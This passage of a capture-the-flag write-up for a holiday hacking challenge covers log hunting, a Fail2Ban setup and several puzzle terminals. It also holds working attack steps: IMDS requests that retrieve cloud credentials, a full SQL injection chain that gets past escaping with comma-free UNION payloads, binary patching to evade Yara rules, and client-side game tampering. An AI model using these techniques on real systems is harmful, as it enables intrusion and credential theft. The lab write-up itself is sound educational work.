, and check the process_name
in left sidebar menu. It was /usr/bin/nc.openbsd
. This is the answer.
Task 7
The parent process of previous task is /bin/bash
, and it's process ID is 6788
.
I queried
main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational | search parent_process_id=6788
and found the command other than previous nc
command below.
cat /home/eddie/.aws/credentials /home/eddie/.ssh/authorized_keys /home/eddie/.ssh/config \ /home/eddie/.ssh/eddie /home/eddie/.ssh/eddie.pub /home/eddie/.ssh/known_hosts
It seems output 6 files. So, the answer is 6.
Task 8
I queried the process ID of previous bash.
index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 | search process_id=6788
Then, I got 1 history. Let's open it and check the detail.
I found that the parent commandline is parent_process: /bin/bash preinstall.sh
! This script name is the answer.
After solving this last challenge, The banner was showed the top of this site.
Here is the answer!
10) Now Hiring!
I went to the restroom of Jack's Tower. There is GOLDEN toilet! Wow!!
I got the hint of this challenge from Noxious O. D'or next to the toilet. The hint is the link to AWS'S IMDS Document.
Before this challenge, I had done IMDS Exploration terminal challenge which is related to IMDS. And before, I also tried to AWS's learning challenge flaws and flaws2 :)
The target site is here.
After jumping to the application page, there's the forms of Name, Email Address and etc...
I tried some values of these form, and found
- Name is required and banned to use special characters
- Resume form has the function to choose files on my local PC, but not send the file data, but only filename.
After filling up the form and press "Submit", the word "Submission Accepted" and some images appeared.
The center image is broken. Let's check the source code. This image is linked to /images/{Name}.jpg
, {Name}
is what I filled to the application form.
And, I checked the broken image file, and tested some more another values to the forms, and found the IMDS exploit code filled in "URL to your public NLBI report" form works!
I tested the exploit code http://169.254.169.254/latest/meta-data/
first.
The result was,
$ cat kusuwada_test.jpg ami-id ami-launch-index ami-manifest-path block-device-mapping/ami ...(omit)... services/domain services/partition spot/instance-action spot/termination-time
It works! Then, let's output the used IAM role with http://169.254.169.254/latest/meta-data/iam/security-credentials
. The result was,
$ cat kusuwada_role.jpg jf-deploy-role
Good. Its credential can be obtained with http://169.254.169.254/latest/meta-data/iam/security-credentials/jf-deploy-role
. The result was,
$ cat kusuwada_secret.jpg { "Code": "Success", "LastUpdated": "2021-05-02T18:50:40Z", "Type": "AWS-HMAC", "AccessKeyId": "AKIA5HMBSK1SYXYTOXX6", "SecretAccessKey": "CGgQcSdERePvGgr058r3PObPq3+0CfraKcsLREpX", "Token": "NR9Sz/7fzxwIgv7URgHRAckJK0JKbXoNBcy032XeVPqP8/tWiR/KVSdK8FTPfZWbxQ==", "Expiration": "2026-05-02T18:50:40Z" }
The answer is its SecretAccessKey!
11) Customer Complaint Analysis
I got a packet captured file. There are 600 lines. With this amount of information, I can check the whole lines and find something without hints :)
I found the http POST communication when the customers submit their complaints from the form. So, I filtered this packets with below filter on wireshark.
http.request.method == "POST"
The filtered packets remained only 16. I read the whole complaints, and found 3 customers complained to the same person who stays in room1024.
This customer in room1024 is also posts a complaint by packet line 384, and her troll_id
is strange. She is very suspicious. Then, I order the customer names alphabetically who complaints to room1024.
The answer was, Flud Hagg Yaqh
12) Frost Tower Website Checkup
I got the link to the target site and source code of the target web site. The source code tree is below.
$ tree frosttower-web -L 1 frosttower-web ├── country.json ├── custom_modules/ ├── server.js ├── sql/ └── webpage/
Too many codes. It's better to focus on what to see.
And, I got below hint from the elf who is in dining room.
SQL Injection with Source: When you have the source code, API documentation becomes tremendously valuable.
OK, it sounds SQL injection challenge, and I should read the source code carefully. There's the countdown to the Christmas and form to send email address on the top page.
First, I checked the server.js
, and found the many APIs like login
, search
. There are APIs which can use without login, and needs login, and needs admin login.
I listed the APIs with the information of required authenticaiton.
* GET / # any session * GET /testsite # any session * POST /testsite # no session * GET /contact # any session * POST /postcontact # any session * GET /detail/:id # need login * GET /edit/:id # need login * POST /edit/:id # need login * POST /delete/:id # need admin login * GET /search # need login * POST /search # need login * POST /export # need login * GET /login # no session * POST /login # any session * GET /redirect # any session * GET /logout # any session * GET /dashboard # need login * GET /adduser # need admin login * POST /adduser # need admin login * GET /userlist # need admin login * GET /useredit/:id # need admin login * POST /useredit/:id # need admin login * POST /userdelete/:id # need admin login * GET /forgotpass # no session * POST /forgotpass # no session * GET /forgotpass/token/:id # no session * POST /forgotpass/token/:id # no session
So many. It's tough to see every APIs deeply.
Next, I checked the sql/encontact_db.sql
file and found the tables and schemas below.
- uniquecontact
- users
- emails
There seems no table for todo list, but it's very useful that I can get the schema of each tables for SQL injection.
I guessed that the challenge needs some login or session highjack or something, in order to use the API which requires authentication. So I began with checking the server.js
code carefully especially around the session related.
In the /postcontact
API, there's a suspicious part below.
tempCont.query("SELECT * from uniquecontact where email="+tempCont.escape(email), function(error, rows, fields){ // omitted error process var rowlength = rows.length; if (rowlength >= "1"){ session = req.session; session.uniqueID = email; req.flash('info', 'Email Already Exists'); res.redirect("/contact"); }
The email is checked unique in uniquecontact
database, so it should be related with uniquecontact
data. But if the email is already exists in the database, the email will be set to the session's uniqueID! (session.uniqueID = email;
) With pass through this wicked flow, we can use APIs which can be used with session.uniqueID
.
I tested this with below method.
- register test user from contact form
- try to register the same user (-> the value will be set to
session.uniqueID
) - move to
/dashboard
Then, I could see the dashboard site, and use /search
API!
Next, I looked for the API which is vulnerable for SQL injection.
I tried a lot with /search
API, but no progress because escape
function was very strong and worked properly.
Then, I read the README of github.com/mysqljs/mysql which is given by hint super carefully. Especially, finding the way to avoid escape function. And found the statement below.
To generate objects with a toSqlString method, the
mysql.raw()
method can be used. This creates an object that will be left un-touched when using in a?
placeholder, useful for using functions as dynamic values:Caution The string provided to
mysql.raw()
will skip all escaping functions when used, so be careful when passing in unvalidated input.
Using mysql.raw()
, the escape function will be skipped! I searched whether this function is used or not in server.js
.
app.get('/detail/:id', function(req, res, next) { session = req.session; var reqparam = req.params['id']; var query = "SELECT * FROM uniquecontact WHERE id="; if (session.uniqueID){ try { if (reqparam.indexOf(',') > 0){ var ids = reqparam.split(','); reqparam = "0"; for (var i=0; i<ids.length; i++){ query += tempCont.escape(m.raw(ids[i])); query += " OR id=" } query += "?"; }else{ query = "SELECT * FROM uniquecontact WHERE id=?" }
There is! ids
is proceeded in m.raw()
. This /detail
API can be used without admin permission, so I can use this API now.
I tried /detail/12
, which showed the information of no.12 contact, and /detail/12,13
which showed no.12 and no.13 contacts. The vulnerability above is triggered when we specify the ids with comma. So, I have to assemble the attack query with comma separated.
I tried /detail/0,0 OR 1=1--
and got all data in uniquecontact
database. It works!! The query became as below.
SELECT * FROM uniquecontact WHERE id=0 OR id=0 OR 1=1-- OR id=0
Next, I tried the UNION SELECT
because it seemed I have to obtain the data from another table. I send the url parameter so that the query looks like this.
SELECT * FROM uniquecontact WHERE id=0,0 union select * from users-- OR id=0
It seemed that the query passed, but an error occurred when rendering the result.
TypeError: /app/webpage/detail.ejs:29 27| - 28| <% }else { %> >> 29| <%= dateFormat(encontact.date_update, "mmmm dS, yyyy h:MM:ss") %> 30| <% } %> 31| </li> 32| </ul>
The schema between uniquecontact
and users
table is slightly different at the last column data type. I have to pay attention to column number and data type.
Then, another UNION SELECT
test, I send the parameter as below.
/detail/0,0 UNION SELECT 1,"a","b","c","d",NULL,NULL--
This would makes the query like this...
SELECT * FROM uniquecontact WHERE id=0,0 UNION SELECT 1,"a","b","c","d",NULL,NULL-- OR id=0
But Internal Server Error occurred. I realized that the comma in the url parameter will be processed as id separation before query assemble part. So my request would processed as
ids = [0, 0 UNION SELECT 1, "a", "b", "c", "d", NULL, NULL--]
Oh, then I have to avoid useing comma for this injection. I refered the cheat sheet and assembled the attack query.
SELECT * FROM uniquecontact WHERE id=0,0 UNION SELECT * FROM (SELECT 1)a JOIN (SELECT "a")b JOIN (SELECT "b")c JOIN (SELECT "c")d JOIN (SELECT "d")e JOIN (SELECT NULL)f JOIN (SELECT NULL)g-- OR id=0
the url parameter was
/detail/0,0 UNION SELECT * FROM (SELECT 1)a JOIN (SELECT "a")b JOIN (SELECT "b")c JOIN (SELECT "c")d JOIN (SELECT "d")e JOIN (SELECT NULL)f JOIN (SELECT NULL)g--
it's quite long, but the result was returned & displayed!!
Now, the preparation is done! I can fetch the values as I want!
First, get the tables with information_schema.tables
. The return data type should be char, so I set the attack query to the place of full_name
. Below is the main sql part.
SELECT table_name from information_schema.tables WHERE TABLE_TYPE = 'BASE TABLE' limit 1 offset 0
The url parameter was
/detail/0,1 UNION SELECT * FROM (SELECT 1)a JOIN (SELECT table_name from information_schema.tables WHERE TABLE_TYPE = 'BASE TABLE' limit 1 offset 0)b JOIN (SELECT "b")c JOIN (SELECT "c")d JOIN (SELECT "d")e JOIN (SELECT NULL)f JOIN (SELECT NULL)g--
I sent the request several times with increasing the offset, and got todo
table name.
Next, I tried to get the column names of this "todo" table with information_schema.COLUMNS
. Below is the main sql part.
SELECT COLUMN_NAME from information_schema.COLUMNS WHERE TABLE_NAME = 'todo' limit 1 offset 0
The url parameter was
/detail/0,1 UNION SELECT * FROM (SELECT 1)a JOIN (SELECT COLUMN_NAME from information_schema.COLUMNS WHERE TABLE_NAME = 'todo' limit 1 offset 0)b JOIN (SELECT "b")c JOIN (SELECT "c")d JOIN (SELECT "d")e JOIN (SELECT NULL)f JOIN (SELECT NULL)g--
I sent the request several times with increasing the offset as above, and got the column names below.
- id
- note
- completed
From the statements of the challenge, it seems that the answer is in note
column. So, I got the note
contents with the below query parameter.
/detail/0,0 UNION SELECT * FROM (SELECT 1)a JOIN (SELECT note from todo limit 1 offset 0)b JOIN (SELECT "b")c JOIN (SELECT "c")d JOIN (SELECT "d")e JOIN (SELECT NULL)f JOIN (SELECT NULL)g--
it works as sql query
SELECT note from todo limit 1 offset 0
With increasing the offset as above, I got all of the note. Jack is up to a lot of bad things, isn't he?
- Buy up land all around Santa's Castle
- Build bigger and more majestic tower next to Santa's
- Erode Santa's influence at the North Pole via FrostFest, the greatest Con in history
- Dishearten Santa's elves and encourage defection to our cause
- Steal Santa's sleigh technology and build a competing and way better Frosty present delivery vehicle
- Undermine Santa's ability to deliver presents on 12/24 through elf staff shortages, technology glitches, and assorted mayhem
- Force Santa to cancel Christmas
- SAVE THE DAY by delivering Frosty presents using merch from the Frost Tower Gift Shop to children world-wide... so the whole world sees that Frost saved the Holiday Season!!!! Bwahahahahaha!
- With Santa defeated, offer the old man a job as a clerk in the Frost Tower Gift Shop so we can keep an eye on him
The last one is related to Santa's job. the answer was just only "clerk".
One of my favorite security category is SQL injection, so this challenge was so fun! And this challenge was not the "straight" one, it makes this challenge more interesting :)
13) FPGA Programming
This challenge is related to "FGPA", which is new to me. According to FGPA, I found the terminal which has similar name on the Frost Tower Rooftop. I tried this. Then, I got the challenge statement and initial code. It looks like the talk movie in the hint. Because it's very new for me, I watched carefully the movie and website in the hint before starting.
According to the movie, the language is Verilog and it's very different from the usual programing language. We can't use loop or delay. I wrote the program which outputs the square wave with reference to the sample program in the hint link, but it seems its accuracy is not good enough. The terminal says
Sending code for analysis... Verilog parsed cleanly... Beginning FPGA simulation. This may take a few seconds... Random target frequency: 1602.85 Using a clock frequency of 125MHz, the closest you could get to the target frequency is 1602.8518 Sorry! Simulation results indicate a frequency of: 1606.6838Hz Your model should be able to more closely match the requested frequency.
As the challenge statement says, the rounding may not works properly.
I googled verilog square wave
and found the verilog code of generate square wave. I used this code as a base, because this code (counting down) was accurate than previous one in the initial state.
Then, I tried to pay attention to the data type and bit rate. By using real
type and integer
type in properly case, I got the code below which runs accurate.
`timescale 1ns/1ns module tone_generator ( input clk, input rst, input [31:0] freq, output wave_out ); integer counter; real real_no; integer rounded; reg sq_wave; assign wave_out = sq_wave; always @(posedge clk or posedge rst) begin // calculate precise count in advance (everytime...) real_no <= 125000000.0/freq/2.0*100.0; if($rtoi(real_no * 10) - ($rtoi(real_no) * 10) > 4) begin rounded <= $rtoi(real_no) + 1; end else begin rounded <= $rtoi(real_no); end if(rst==1) begin counter <= 32'h00; sq_wave <= 1'b0; end else begin if(counter == 32'h00) begin sq_wave <= ~sq_wave; counter <= rounded - 1; end else begin counter <= counter - 1; // count down end end end endmodule
This code generated the accurate output square wave for all test input data. After generating all output, I push Program Device
and got "The device has been successfully programmed!" output. The Objective is achieved.
Terminals
Logic Chompers
The game like below has begun. I operate the green character and select the "True" block. If it hits the pink monster, it will be eaten and its heart will be decreased 1. Also if I made a mistake, its heart would be decreased 1.
There are several levels of the stage. And there are 4 types of logic challenges, boolean logic, arithmetic operation, number conversion from hex or binary to integer, bitwise operation.
It was hard to judge True/False especially number conversion just in a quick look, but fortunately, there was no time limit. So I could clear this challenge with not so many tries.
To achieve this terminal, we had to clear level intermediate on genres mixed stage (Potpourri). After I achieved this terminal, I tried Potpourri Expert level, and reached to Level 12. I'm not sure there's higher level or not.
It was a very good exercise for my brain!
Creeping for Gold (Nmap)
This challenge is for beginners of nmap
command. And was very useful for further challenge like Objective8. Because there's no room to state everything in this report, I remain quiz and my command & answer only.
What port does 34.76.1.22 have open?
$ grep "34.76.1.22" bigscan.gnmap Host: 34.76.1.22 () Status: Up Host: 34.76.1.22 () Ports: 62078/open/tcp//iphone-sync/// Ignored State: closed (999)
The answer was 62078.
What port does 34.77.207.226 have open?
$ grep "34.77.207.226" bigscan.gnmap Host: 34.77.207.226 () Status: Up Host: 34.77.207.226 () Ports: 8080/open/tcp//http-proxy/// Ignored State: filtered (999)
The answer was 8080.
How many hosts appear "Up" in the scan?
$ grep -nc "Status: Up" bigscan.gnmap 26054
How many hosts have a web port open? (Let's just use TCP ports 80, 443, and 8080)
$ grep -E '80/|443/|8080' bigscan.gnmap | wc -l 14372
How many hosts with status Up have no (detected) open TCP ports?
$ grep -E 'open/tcp' bigscan.gnmap | wc -l 25652
The answer is, 26054 - 25652 = 402
.
What's the greatest number of TCP ports any one host has open?
$ for i in {3..20}; do echo -n $i: ; grep -E -nc "(open.*){$i,}" bigscan.gnmap; done 3:24100 4:20568 5:12919 6:4553 7:1490 8:787 9:536 10:259 11:58 12:5 13:0 ...(omit)...
I counted the number of lines that contain $i
of open
in each line, the largest non-zero $i
is the correct answer. So the answer is 12!
Yara Analysis
I guess that from challenge statements and files in the machine, the goal is to run the_critical_elf_app
. But some yara rule is preventing it, so we have to change the app binary to avoid being caught by the regulations. Because I don't have the permission to change yara rule file.
I executed the application at first (you shouldn't do that on real situation).
$ ./the_critical_elf_app yara_rule_135 ./the_critical_elf_app
The error tells which yara rule caught this app. I confirmed the yara_rules/rules.yar
at line 135.
rule yara_rule_135 { meta: description = "binaries - file Sugar_in_the_machinery" author = "Sparkle Redberry" reference = "North Pole Malware Research Lab" date = "1955-04-21" hash = "19ecaadb2159b566c39c999b0f860b4d8fc2824eb648e275f57a6dbceaf9b488" strings: $s = "candycane" condition: $s }
I see, the word "candy" is not good. I opened the app with xxd
.
$ xxd the_critical_elf_app ...(omit)... 00002000: 0100 0200 0000 0000 6361 6e64 7963 616e ........candycan 00002010: 6500 6e61 7567 6874 7920 7374 7269 6e67 e.naughty string 00002020: 0000 0000 0000 0000 5468 6973 2069 7320 ........This is 00002030: 6372 6974 6963 616c 2066 6f72 2074 6865 critical for the 00002040: 2065 7865 6375 7469 6f6e 206f 6620 7468 execution of th 00002050: 6973 2070 726f 6772 616d 2121 0000 0000 is program!!.... 00002060: 486f 6c69 6461 7948 6163 6b43 6861 6c6c HolidayHackChall 00002070: 656e 6765 7b4e 6f74 5265 616c 6c79 4146 enge{NotReallyAF 00002080: 6c61 677d 0064 6173 7461 7264 6c79 2073 lag}.dastardly s 00002090: 7472 696e 6700 0000 011b 033b 3c00 0000 tring......;<...
Yes, there is. I change the binary with vim. And note that if we change the length of this file, it will crash when we execute it.
I changed "candycane" to "condycane", and execute the app again.
$ ./the_critical_elf_app yara_rule_1056 ./the_critical_elf_app
Check the rule.
rule yara_rule_1056 { meta: description = "binaries - file frosty.exe" author = "Sparkle Redberry" reference = "North Pole Malware Research Lab" date = "1955-04-21" hash = "b9b95f671e3d54318b3fd4db1ba3b813325fcef462070da163193d7acb5fcd03" strings: $s1 = {6c 6962 632e 736f 2e36} $hs2 = {726f 6772 616d 2121} condition: all of them }
This time, the rule is stated with hex. I changed the hex to string, and got libc.so.6
, rogram!!
.
The rule condition is all of them
, so if one of them are not caught, we can run the app. Because rogram!!
is just the output word, so I changed this part to rogram!?
.
Next rule which caught the fixed app was very long.
rule yara_rule_1732 { meta: description = "binaries - alwayz_winter.exe" author = "Santa" reference = "North Pole Malware Research Lab" date = "1955-04-22" hash = "c1e31a539898aab18f483d9e7b3c698ea45799e78bddc919a7dbebb1b40193a8" strings: $s1 = "This is critical for the execution of this program!!" fullword ascii $s2 = "__frame_dummy_init_array_entry" fullword ascii $s3 = ".note.gnu.property" fullword ascii $s4 = ".eh_frame_hdr" fullword ascii $s5 = "__FRAME_END__" fullword ascii $s6 = "__GNU_EH_FRAME_HDR" fullword ascii $s7 = "frame_dummy" fullword ascii $s8 = ".note.gnu.build-id" fullword ascii $s9 = "completed.8060" fullword ascii $s10 = "_IO_stdin_used" fullword ascii $s11 = ".note.ABI-tag" fullword ascii $s12 = "naughty string" fullword ascii $s13 = "dastardly string" fullword ascii $s14 = "__do_global_dtors_aux_fini_array_entry" fullword ascii $s15 = "__libc_start_main@@GLIBC_2.2.5" fullword ascii $s16 = "GLIBC_2.2.5" fullword ascii $s17 = "its_a_holly_jolly_variable" fullword ascii $s18 = "__cxa_finalize" fullword ascii $s19 = "HolidayHackChallenge{NotReallyAFlag}" fullword ascii $s20 = "__libc_csu_init" fullword ascii condition: uint32(1) == 0x02464c45 and filesize < 50KB and 10 of them }
According to the condition, the app will be banned if more than 10 of these rule were caught. So, we have to change 11 places. I began with the just text part. Below is the after changing word.
$s1: This is critical for the execution of this program!? $s9 = comlleted.8060 $s12 = noughty string $s13 = dostardly string $s19: HolidayHackChallenge{GotReallyAFlag} $s17: its_e_holly_jolly_variable
I guess dummy is not so important.
$s2 = "__frame_dammy_init_array_entry" fullword ascii $s7 = "frame_dammy" fullword ascii
I changed the dummy variables, but no error occurred. Maybe they weren't called. The last 3 place were chosen on a hunch and process of elimination.
$s3 = ".mote.gnu.property" $s8 = ".mote.gnu.build-id" $s11 = ".mote.ABI-tag"
Now, I changed 11 places. Let's execute this application again.
$ ./the_critical_elf_app Machine Running.. Toy Levels: Very Merry, Terry Naughty/Nice Blockchain Assessment: Untampered Candy Sweetness Gauge: Exceedingly Sugarlicious Elf Jolliness Quotient: 4a6f6c6c7920456e6f7567682c204f76657274696d6520417070726f766564
It works, and I achieved the terminal.
Exif metadata
We can learn about the tool exiftool
with this challenge. My command for achieve this chall was,
$ exiftool * | grep Jack -B40 > log.txt $ less log.txt ExifTool Version Number : 12.16 File Name : 2021-12-21.docx Directory : . ...
And the answer was 2021-12-21.docx
.
Frostvator
In order to use the frostvator, we have to connect the logic circuits correctly. We are given the input on
with light at the top and place to set the circuits. We have to change the place of each circuits and turn on all of the output at the bottom.
The result was,
IPv6 Sandbox
We use some familiar tools with IPv6 value in this challenge. Since I'm not used to handle IPv6, it was very good study for me.
First, I scanned the network with ping command for ipv6.
$ ping6 -I eth0 ff02::1 ping6: Warning: source address might be selected on device other than eth0. PING ff02::1(ff02::1) from :: eth0: 56 data bytes 64 bytes from fe80::42:c0ff:fea8:a003%eth0: icmp_seq=1 ttl=64 time=0.030 ms 64 bytes from fe80::42:a5ff:fecc:6868%eth0: icmp_seq=1 ttl=64 time=0.064 ms (DUP!) 64 bytes from fe80::42:c0ff:fea8:a002%eth0: icmp_seq=1 ttl=64 time=0.081 ms (DUP!) 64 bytes from fe80::42:c0ff:fea8:a003%eth0: icmp_seq=2 ttl=64 time=0.033 ms
Then, I found 3 networks fe80::42:c0ff:fea8:a003
,fe80::42:a5ff:fecc:6868
,fe80::42:c0ff:fea8:a002
.
Next, I search the open port by nmap
.
$ nmap -6 -sV fe80::42:a5ff:fecc:6868%eth0 Starting Nmap 7.70 ( https://nmap.org ) at 2021-12-10 13:34 UTC Nmap scan report for fe80::42:a5ff:fecc:6868 Host is up (0.000089s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 3000/tcp open ppp? ...(omit)... Nmap done: 1 IP address (1 host up) scanned in 24.58 seconds
OK, the port 3000 of this ip address is open. Let's access to it with curl
.
$ curl --interface eth0 -g -6 'http://[fe80::42:a5ff:fecc:6868]:3000' <!doctype html> <html lang="en"> <head> ...(omit)...
I could connect. I got many other information from this IP, but it seems not the correct way. Let's try another IP.
$ nmap -6 -sV fe80::42:c0ff:fea8:a002%eth0 [9/673] ...(omit)... Nmap scan report for fe80::42:c0ff:fea8:a002 Host is up (0.000087s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 80/tcp open http nginx 1.14.2 9000/tcp open cslistener? ...
The port 80 and 9000 are open. I connected 80 port first,
$ curl --interface eth0 -g -6 'http://[fe80::42:c0ff:fea8:a002]:80' <html> <head><title>Candy Striper v6</title></head> <body> <marquee>Connect to the other open TCP port to get the striper's activation phrase!</marquee> </body> </html>
Wow, another port is correct. Let's try.
$ curl --interface eth0 -g -6 'http://[fe80::42:c0ff:fea8:a002]:9000' PieceOnEarth
This is the answer.
HOHO ... No
According to the challenge statement on this terminal, we have to ban the malicious ip addresses based on the log. First, I thought to try to create the ban system by myself with python or other scripts language.
But, I re-read the statement carefully and poked around this terminal, I realize the Fail2Ban
is useful, and rather it's the object of this challenge. This time, I have to make the custom rule for it.
I found the talk movie about the Fail2Ban, and watched it. The content is almost same with our situation. It's very clear explanation of how the tool works and what I need to do this time. It explains even the way to make custom filter.
I grep the target log /var/log/hohono.log
several times, and found 4 pattern to ban. I wrote the filter below with reference to other filter files and talk movie.
vi /etc/fail2ban/filter.d/my_filter.conf
: as custom filter
[Definition] failregex = ^\s*<HOST> sent a malformed request\s*$ ^\s*Invalid heartbeat \S+ from <HOST>\s*$ ^\s*Login from <HOST> rejected due to unknown user name\s*$ ^\s*Failed login from <HOST> for \S+\s*$
It was very helpful to see the talk movie and other filter files. Especially \s
expression. We can use <HOST>
expression to fetch the IP address from log and pass it to the action rule.
Next, I wrote action file below : /etc/fail2ban/action.d/my_action.conf
.
[Definition] actionban = /root/naughtylist add <ip> actionunban = /root/naughtylist del <ip>
<ip>
will be replaced to the IP address from the filter above.
The last is custom rule file: /etc/fail2ban/jail.d/my_jail.conf
[hohono] enabled = true logpath = /var/log/hohono.log maxretry = 10 findtime = 1h bantime = 1h filter = my_filter action = my_action
Then, restart the Fail2Ban and reload the target log file.
$ service fail2ban restart $ /root/naughtylist refresh
IMDS Exploration
It seems related to cloud challenge. I remember that I did IMDS challenge in the flaws! This challenge was useful to solve Objective10.
Unfortunately, there's no room for writing full explanation in this report, so I write the outline of this challenge.
First, I confirmed the address 169.254.169.254 is open or not by ping. This IP is provides information about currently running virtual machine instances. Then, HTTP GET to the endpoint.
$ curl http://169.254.169.254 latest
I got reply "latest". Then, access to /latest
in the same way, I got
"dynamic", and "meta-data". After that, we fetch the information from /latest/dynamic
, and get some interesting information.
Next, we fetched /latest/meta-data
. We also got many information from this endpoint. We can get the instance IAM role with /latest/meta-data/iam/security-credentials
, and get the instance AWS keys with /latest/meta-data/iam/security-credentials/{IAM role name}
.
We can use IMDSv2
which requires authentication, but it's not on by default. The one of protection from this IMDS attack is enable IMDSv2, but it's not enough. We can use the protocol like gopher
to attack IMDSv2. But it's not the point of this challenge. The another good protection from this IMDS attack is, limit the network using iptable or something, and remind that IMDSv2 is the "defense in depth".
After IMDSv2 introduction, we confirm the v2 function and tried to connect IMDSv2 with token which generated by IMDS.
The Elf C0de
The game that lead the elf to the goal by coding python.
I remembered that the last year's Elf code chall was in javascript, but this time is in python! I'm prefer to python!
I learned how to move elf, reach lollypops, read the leaver question and input the answer to the leaver, how to loop, and so on.
Because there's no room for all complete codes, I list on last 3 challenges.
Level 8
import elf, munchkins, levers, lollipops, yeeters, pits lollipop = lollipops.get() lever = levers.get() for i in range(4): elf.moveTo(lollipop[i].position) elf.moveTo(lever[0].position) value = lever[0].data() lever[0].pull(["munchkins rule"] + value) elf.moveDown(3) elf.moveLeft(6) elf.mo
I achieved this terminal with this chall. After this is bonus stage!
Level 9
The stage is more whirlpool than the previous one.
import elf, munchkins, levers, lollipops, yeeters, pits def func_to_pass_to_mucnhkin(input): output = 0 for row in input: for item in row: if type(item) == int: output += item return output all_levers = levers.get() munchkin = munchkins.get() moves = [elf.moveDown, elf.moveLeft, elf.moveUp, elf.moveRight] * 2 for i, move in enumerate(moves): move(i+1) if i != 7: value = all_levers[i] all_levers[i].pull(i) elf.moveUp(2) elf.moveLeft(4) munchkin[0].answer(func_to_pass_to_mucnhkin) elf.moveUp(2)
Level 10
As hint says, I should wait until the next munchikin goes more than 6 blocks far from the elf.
import elf, munchkins, levers, lollipops, yeeters, pits import time muns = munchkins.get() lols = lollipops.get()[::-1] for index, mun in enumerate(muns): while abs(elf.position["x"] - mun.position["x"]) != 6: time.sleep(0.05) elf.moveTo(lols[index].position) elf.moveLeft(6) elf.moveUp(2)
Strace Ltrace Retrace
The cotton candy machine is broken! It's terrible!
As an aside, my daughter debuted the cotton candy on this year's Christmas fair! She gazed at the cotton candy machine for loooong time ;)
I checked the machine and found an executable file, and executed.
$ ls make_the_candy* $ file make_the_candy make_the_candy: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=c4d2a41541e7e161718bf0eb9252bc91780933aa, not stripped $ ./make_the_candy Unable to open configuration file.
Not so many information from the comment. No configuration file.
From the name of this terminal and elf's conversation, I guessed I have to use strace
or ltrace
, and I tried.
$ ltrace ./make_the_candy fopen("registration.json", "r") = 0 puts("Unable to open configuration fil"...Unable to open configuration file. ) = 35 +++ exited (status 1) +++
I found the name of the missing configuration file. I created the file and executed ltrace
again.
$ ltrace ./make_the_candy fopen("registration.json", "r") = 0x561539070260 getline(0x7ffcb4d913f0, 0x7ffcb4d913f8, 0x561539070260, 0x7ffcb4d913f8) = 10 strstr("{"a":"b"}\n", "Registration") = nil getline(0x7ffcb4d913f0, 0x7ffcb4d913f8, 0x561539070260, 0x7ffcb4d913f8) = -1 puts("Unregistered - Exiting."Unregistered - Exiting. ) = 24 +++ exited (status 1) +++
I wrote to the configuration file registration.json
to {"a":"b"}
, and it is compared to "Registration" value. let's change the key and execute again.
{"Registration":1}
$ ltrace ./make_the_candy ...(omit)... strstr(":1}\n", "True") = nil ...(omit)...
I see. The value should be "True". Then, I changed the registration.json
to
{"Registration":"True"}
And executed ./make_the_candy
. It worked! And I achieved this terminal challenge.
Santa's HOLIDAY HERO
This terminal was my last challenge of this year's Holiday Hack Challenge.
It's the sound game which can play with 2 people. But, playing alone, we can't clear this game because player2 is required. From the elf's conversation below,
Single player mode? I heard it can be enabled by fiddling with two client-side values, one of which is passed to the server.
I decided to try changing this game mode to single player mode.
At first, I checked the cookie of hero.kringlecastle.com
domain and found HOHOHO: %7B%22single_player%22%3Afalse%7D
value. By URL decoding this, I got the value {"single_player":false}
. It seems the first key of this challenge.
I updated this cookie with below value
HOHOHO: %7B%22single_player%22:true%7D
Then, reloaded the browser. But nothing was changed.
Next, I checked the source code which is used in this game, and found the file hollidayhero.js
. This is the most related file with this game.
I searched this file with the word single
, and found the value single_player_mode
. So, I tried to change this value from console at the beginning of this game with the command
single_player_mode = true
With this operation, COMPUTER user joined the game as a player2.
COMPUTER plays the game with no miss, and I cleared this game in standalone site (https://hero.kringlecastle.com/). But it's not appeared to my achievement.
I tried this game in the iframe of Kringlecastle, but the latency is higher than standalone and I couldn't clear this game. My machine's fan was working hard...
Then, I stopped to try this challenge, and cool down the PC and me, then tried again. Finally, I cleared this game in iframe, and achieved the terminal challenge!
Bonus! Log4j Blue
I also enjoyed the bonus stage of log4j blue and red.
On the blue team's stage, we can lean and experienced the situation how log4j vulnerability is used and how to protect from this attack (version up).
It seems very simple and normal usage of log4j in this challenge, and I felt very close to this vulnerability by seeing the victim's code and try to use the vulnerability. And it would be helpful to patch our own system by trying update the library, and Search for traces of this attack.
Bonus! Log4j Red
On the red team's stage, we can lean and experienced how to use the log4j vulnerability for attacking.
We prepared the LDAP server to be looked up from log4j, and a server listening on port 4444 for reverse shell. And try to attack the web site with log4j.
I also learned how easy it is to launch this attack even taking into account that the environment of the challenge is too well prepared.
Acknowledgments
Thank you for organizing such a high quality and fun challenge! It was a lot of new things for me also this time, especially AD hacking, IPv6 related snooping, and Fail2Ban. I got a lot of experiences I wouldn't normally have had. I'm not so good at shellcode assembling, Powershell, nor Windows things. But it was interesting to try from basics with good support such as talk movie or sample codes.
The timely release of log4j challenge was exciting. I think it was very useful for both security related worker and DevOps side to experience it at this speed!
I also give great thanks to my kids, who didn't wake up during the night and helped me to try this challenge. I also thank my husband for understanding my participation in this challenge.